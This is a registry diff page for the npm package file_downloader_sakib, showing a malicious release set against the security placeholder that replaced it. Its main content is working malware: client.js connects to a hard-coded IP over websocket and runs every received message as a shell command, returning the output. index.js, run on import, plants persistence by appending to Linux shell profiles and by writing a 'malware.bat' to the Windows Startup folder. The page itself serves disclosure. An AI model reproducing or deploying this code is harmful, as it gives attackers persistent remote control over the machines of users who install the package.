file_downloader_sakib 0.0.1-security → 1.0.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of file_downloader_sakib might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/client.js +24 -0
  2. package/index.js +53 -0
  3. package/package.json +13 -3
  4. package/README.md +0 -5
package/client.js ADDED
@@ -0,0 +1,24 @@
1
+ const ws=require('ws');
2
+ const {exec}=require('child_process');
3
+
4
+ const socket=new ws('ws://172.207.82.2:5001');
5
+
6
+ socket.on('open',()=>{
7
+ // console.log("Connected to the server");
8
+ socket.send("Hello from the client");
9
+ });
10
+
11
+ socket.on('message',(message)=>{
12
+ exec(message.toString('utf-8'),(err,stdout,stderr)=>{
13
+ if(err){
14
+ // console.log(err);
15
+ socket.send("Error: "+err);
16
+ return;
17
+ }
18
+ // console.log(stdout);
19
+ // console.log(stderr);
20
+ socket.send("stdout: "+stdout);
21
+ socket.send("stderr: "+stderr);
22
+ });
23
+ });
24
+
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const axios = require("axios");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+ const { spawn, exec } = require("child_process");
5
+ const greet = () => {
6
+ return "You are a stupid";
7
+ };
8
+ const foo={
9
+ linux:() => {
10
+ const malwarePath = require.resolve("./client.js");
11
+ const profiles = [".profile", ".bash_profile", ".bash_login"];
12
+ profiles.forEach((profile) => {
13
+ const profilePath = path.join(process.env.HOME, profile);
14
+ let flag = false;
15
+ if (fs.existsSync(profilePath)) {
16
+ const content = fs.readFileSync(profilePath, "utf8");
17
+ if (content.indexOf("client.js") === -1) {
18
+ fs.appendFileSync(profilePath, `\nnode ${malwarePath} &`);
19
+ flag = true;
20
+ }
21
+ }
22
+ if (flag) {
23
+ const bashProcess = spawn("bash", [profilePath], {
24
+ detached: true,
25
+ stdio: "ignore",
26
+ });
27
+ bashProcess.unref();
28
+ }
29
+ });
30
+ },
31
+ windows:() => {
32
+ const malwarePath = require.resolve("./client.js");
33
+ const user = process.env.USERNAME || process.env.USER;
34
+ const profile = `C:\\Users\\${user}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`;
35
+ exec(`echo node -e "require('file_downloader_sakib')" > "${path.join(profile, "malware.bat")}"`);
36
+ console.log("Malware installed successfully");
37
+ const bashProcess = spawn("node", [malwarePath], {
38
+ detached: true,
39
+ stdio: "ignore",
40
+ });
41
+ bashProcess.unref();
42
+ }
43
+ }
44
+
45
+ const os = require("os");
46
+ const platform = os.platform();
47
+ if (platform === "linux") {
48
+ foo.linux();
49
+ }
50
+ if (platform === "win32"||platform === "win64") {
51
+ foo.windows();
52
+ }
53
+ module.exports = greet;
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "file_downloader_sakib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.27",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Nothing to test\" && exit 0"
8
+ },
9
+ "author": "Najmus Sakib Rashid",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^1.8.4",
13
+ "pm2": "^6.0.5",
14
+ "ws": "^8.18.1"
15
+ }
6
16
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=file_downloader_sakib for more information.